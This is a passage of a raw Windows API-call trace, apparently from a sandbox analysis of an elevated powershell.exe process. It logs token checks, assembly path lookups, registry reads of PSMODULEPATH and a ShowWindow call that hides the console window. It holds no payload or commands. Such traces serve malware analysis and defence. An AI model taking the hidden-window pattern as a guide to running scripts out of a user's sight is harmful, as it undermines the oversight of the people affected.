dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.419] GetLastError () returned 0x0 [0056.421] GetCurrentProcess () returned 0xffffffff [0056.421] GetLastError () returned 0x3f0 [0056.422] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x25e834 | out: TokenHandle=0x25e834*=0x350) returned 1 [0056.422] GetLastError () returned 0x3f0 [0056.425] GetTokenInformation (in: TokenHandle=0x350, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x25e88c | out: TokenInformation=0x0, ReturnLength=0x25e88c) returned 0 [0056.425] GetLastError () returned 0x7a [0056.426] GetTokenInformation (in: TokenHandle=0x350, TokenInformationClass=0x8, TokenInformation=0x3b4f10, TokenInformationLength=0x4, ReturnLength=0x25e88c | out: TokenInformation=0x3b4f10, ReturnLength=0x25e88c) returned 1 [0056.426] GetLastError () returned 0x7a [0056.428] DuplicateTokenEx (in: hExistingToken=0x350, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x25e844 | out: phNewToken=0x25e844*=0x348) returned 1 [0056.428] GetLastError () returned 0x7f [0056.428] GetTokenInformation (in: TokenHandle=0x350, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x25e88c | out: TokenInformation=0x0, ReturnLength=0x25e88c) returned 0 [0056.428] GetLastError () returned 0x7a [0056.428] GetTokenInformation (in: TokenHandle=0x350, TokenInformationClass=0x8, TokenInformation=0x3b4ef0, TokenInformationLength=0x4, ReturnLength=0x25e88c | out: TokenInformation=0x3b4ef0, ReturnLength=0x25e88c) returned 1 [0056.428] GetLastError () returned 0x7a [0056.428] CheckTokenMembership (in: TokenHandle=0x348, SidToCheck=0x2b291e8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x25e820 | out: IsMember=0x25e820) returned 1 [0056.429] GetLastError () returned 0x7a [0056.429] CloseHandle (hObject=0x348) returned 1 [0056.429] GetLastError () returned 0x7a [0056.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e334, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.429] GetLastError () returned 0x7a [0056.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.429] GetLastError () returned 0x7a [0056.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.429] GetLastError () returned 0x7a [0056.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.429] GetLastError () returned 0x7a [0056.480] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e334, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.480] GetLastError () returned 0x7a [0056.480] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.480] GetLastError () returned 0x7a [0056.480] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.480] GetLastError () returned 0x7a [0056.488] GetConsoleTitleW (in: lpConsoleTitle=0x3c9028, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0056.488] GetLastError () returned 0x7a [0056.517] GetConsoleTitleW (in: lpConsoleTitle=0x3c9028, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0056.517] GetLastError () returned 0x7a [0056.517] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e32c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.517] GetLastError () returned 0x7a [0056.517] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.517] GetLastError () returned 0x7a [0056.517] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.517] GetLastError () returned 0x7a [0056.523] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0056.523] GetLastError () returned 0x7a [0056.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.523] GetLastError () returned 0x7a [0056.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.523] GetLastError () returned 0x7a [0056.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.523] GetLastError () returned 0x7a [0056.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.523] GetLastError () returned 0x7a [0056.576] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.577] GetLastError () returned 0x7a [0056.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.577] GetLastError () returned 0x7a [0056.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.577] GetLastError () returned 0x7a [0056.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.577] GetLastError () returned 0x7a [0056.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.577] GetLastError () returned 0x7a [0056.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e314, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.577] GetLastError () returned 0x7a [0056.578] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e378, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.578] GetLastError () returned 0x7a [0056.578] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e328, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.578] GetLastError () returned 0x7a [0056.578] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e328, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.578] GetLastError () returned 0x7a [0056.578] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e328, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0056.578] GetLastError () returned 0x7a [0056.651] SetConsoleCtrlHandler (HandlerRoutine=0x2a4384a, Add=1) returned 1 [0056.651] GetLastError () returned 0x7a [0056.662] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.662] GetLastError () returned 0xcb [0056.663] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.663] GetLastError () returned 0xcb [0057.020] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.020] GetLastError () returned 0xcb [0057.098] GetConsoleWindow () returned 0x0 [0057.098] ShowWindow (hWnd=0x0, nCmdShow=0) returned 0 [0057.112] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x348 [0057.112] GetLastError () returned 0x0 [0057.113] CoCreateGuid (in: pguid=0x25e858 | out: pguid=0x25e858*(Data1=0xded9174b, Data2=0x2a37, Data3=0x4dcd, Data4=([0]=0x80, [1]=0x7e, [2]=0x54, [3]=0x88, [4]=0x28, [5]=0xfc, [6]=0x33, [7]=0x44))) returned 0x0 [0057.151] WinSqmIsOptedIn () returned 0x0 [0057.151] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.151] GetLastError () returned 0xcb [0057.153] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.154] GetLastError () returned 0xcb [0057.154] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.154] GetLastError () returned 0xcb [0057.155] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.155] GetLastError () returned 0xcb [0057.155] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.155] GetLastError () returned 0xcb [0057.156] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.156] GetLastError () returned 0xcb [0057.157] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.157] GetLastError () returned 0xcb [0057.157] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.157] GetLastError () returned 0xcb [0057.161] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.161] GetLastError () returned 0xcb [0057.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.181] GetLastError () returned 0xcb [0057.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.181] GetLastError () returned 0xcb [0057.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.181] GetLastError () returned 0xcb [0057.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.181] GetLastError () returned 0xcb [0057.245] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.245] GetLastError () returned 0x3 [0057.245] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.245] GetLastError () returned 0x3 [0057.245] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.245] GetLastError () returned 0x3 [0057.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.246] GetLastError () returned 0x3 [0057.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.246] GetLastError () returned 0x3 [0057.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.246] GetLastError () returned 0x3 [0057.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.246] GetLastError () returned 0x3 [0057.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.246] GetLastError () returned 0x3 [0057.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.246] GetLastError () returned 0x3 [0057.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.246] GetLastError () returned 0x3 [0057.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.246] GetLastError () returned 0x3 [0057.247] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.247] GetLastError () returned 0x3 [0057.248] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0057.248] GetLastError () returned 0x3 [0057.250] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x391da8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0057.250] GetLastError () returned 0x3 [0057.250] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e670 | out: phkResult=0x25e670*=0x354) returned 0x0 [0057.250] RegQueryValueExW (in: hKey=0x354, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x25e6b4, lpData=0x0, lpcbData=0x25e6b0*=0x0 | out: lpType=0x25e6b4*=0x2, lpData=0x0, lpcbData=0x25e6b0*=0x6c) returned 0x0 [0057.251] RegQueryValueExW (in: hKey=0x354, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x25e6b4, lpData=0x391da8, lpcbData=0x25e6b0*=0x6c | out: lpType=0x25e6b4*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x25e6b0*=0x6c) returned 0x0 [0057.251] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x391da8, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0057.251] GetLastError () returned 0x3 [0057.251] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x391da8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0057.251] GetLastError () returned 0x3 [0057.253] RegCloseKey (hKey=0x354) returned 0x0 [0057.253] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x391da8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0057.253] GetLastError () returned 0x3 [0057.253] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e670 | out: phkResult=0x25e670*=0x354) returned 0x0 [0057.254] RegQueryValueExW (in: hKey=0x354, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x25e6b4, lpData=0x0, lpcbData=0x25e6b0*=0x0 | out: lpType=0x25e6b4*=0x0, lpData=0x0, lpcbData=0x25e6b0*=0x0) returned 0x2 [0057.255] RegCloseKey (hKey=0x354) returned 0x0 